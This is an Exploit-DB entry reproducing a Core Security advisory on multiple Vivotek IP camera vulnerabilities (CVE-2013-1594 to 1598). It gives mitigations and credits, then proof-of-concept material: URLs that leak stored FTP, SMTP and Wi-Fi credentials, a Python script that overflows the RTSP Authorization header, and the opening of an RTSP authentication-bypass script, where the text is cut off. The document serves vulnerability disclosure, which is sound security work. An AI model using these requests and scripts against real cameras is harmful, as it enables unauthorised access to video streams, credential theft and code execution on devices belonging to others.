Exploit-DB #25139
Description: Vivotek IP Cameras - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-05-01
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com

Vivotek IP Cameras Multiple Vulnerabilities


1. *Advisory Information*

Title: Vivotek IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0301
Advisory URL:
http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities
Date published: 2013-04-29
Date of last update: 2013-04-29
Vendors contacted: Vivotek
Release mode: User release

2. *Vulnerability Information*

Class: Information leak through GET request [CWE-598], Buffer overflow
[CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS
command injection [CWE-78]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597,
CVE-2013-1598

3. *Vulnerability Description*

Multiple vulnerabilities have been found in Vivotek IP cameras [1] (and
potentially cameras from other vendors sharing the affected firmware)
that could allow an unauthenticated remote attacker:

   1. [CVE-2013-1594] to process GET requests that contain sensitive
information,
   2. [CVE-2013-1595] to execute arbitrary code,
   3. [CVE-2013-1596] to access the video stream via RTSP,
   4. [CVE-2013-1597] to dump the camera's memory and retrieve user
credentials,
   5. [CVE-2013-1598] to execute arbitrary commands from the
administration web interface (pre-authentication with firmware 0300a and
post-authentication with firmware 0400a).

4. *Vulnerable Packages*

   . Vivotek PT7135 IP camera with firmware 0300a.
   . Vivotek PT7135 IP camera with firmware 0400a.
   . Other Vivotek cameras/firmware are probably affected too, but they
were not checked.

5. *Non-Vulnerable Packages*

Vendor did not provide details. Contact Vivotek for further information.

6. *Vendor Information, Solutions and Workarounds*

There was no official answer from Vivotek after several attempts to
report these vulnerabilities (see [Sec. 9]). Contact vendor for further
information.

Some mitigation actions may be:

   . Do not expose the camera to internet unless absolutely necessary.
   . Filter RTSP traffic (default port 554) if possible.
   . Have at least one proxy filtering '/../../' and 'getparam.cgi' in
HTTP requests.
   . Filter strings in the parameter 'system.ntp' on every request made
to the binary 'farseer.out'.

7. *Credits*

[CVE-2013-1594] was originally discovered and reported [2] by Alejandro
Leon Morales [3] and re-discovered on new firmware versions by Flavio De
Cristofaro from Core Security.

[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by
Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was
made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by
Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

The publication of this advisory was coordinated by Fernando Miranda
from Core Advisories Team.

8. *Technical Description / Proof of Concept Code*

8.1. *Information leak through GET request*

[CVE-2013-1594] Several Vivotek cameras store Wireless keys and 3rd
party credentials in clear text allowing a remote attacker to obtain
sensitive information which might be valuable to perform further
attacks. Sensitive information stored in plain text includes:

   . FTP credentials
   . Share folder credentials
   . SMTP credentials
   . WEP / WPA Keys
   . DynDNS credentials
   . Safe100.net credentials
   . TZO credentials, among others.
The following GET requests can exploit the vulnerability (requests may
change according to firmware versions and vendors devices):

/-----
http://192.168.1.100/cgi-bin/admin/getparam.cgi

http://192.168.1.100/setup/parafile.html
-----/


8.2. *Remote Buffer Overflow*

[CVE-2013-1595] The following Python script can be used to trigger the
vulnerability. This script will send to the RTSP service a specially
crafted packet with the header field 'Authorization' fully completed
with the character 'a' (0x61). As a result, the Instruction Pointer
register (IP) will be overwritten with 0x61616161, which is a typical
buffer overrun condition.

/-----
import socket, base64

cam_ip = '192.168.1.100'
session_descriptor = 'live.sdp'

request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip,
session_descriptor)
request+= 'CSeq: 1\r\n'
request+= 'Authorization: Basic %s\r\n'
request+= '\r\n'

auth_little = 'a' * 1000
auth_big = 'a' * 10000

msgs = [request % auth_little, request % auth_big]

for msg in msgs:
    s = socket.socket()
    s.connect((cam_ip, 554))
    print s.send(msg)
    print s.recv(0x10000)
    s.close()

-----/


8.3. *RTSP Authentication Bypass*

[CVE-2013-1596] This vulnerability is triggered by sending specially
crafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera.
As a result, the video stream can be accessed by an unauthenticated
remote attacker.

/-----
import sys
from socket import *
from threading import Thread
import time, re

LOGGING = 1

def log(s):
    if LOGGING:
        print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread):
    def __init__(self, data_to_send, recv_addr, dst_addr):
        Thread.__init__(self)
        self.data_to_send = data_to_send
        self.recv_addr = recv_addr
        self.dst_addr = dst_addr
    
    def run(self):
        sender = socket(AF_INET, SOCK_DGRAM)
        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        sender.sendto(self.data_to_send, self.dst_addr)
        response = sender.recv(1024)
        sender.sendto(response, self.recv_addr)
        sender.close()


class UDPDispatcher(Thread):
    dispatchers = []
    
    def __has_dispatcher_for(self, port):
        return any([d.src_port == port for d in UDPDispatcher.dispatchers])
    
    def _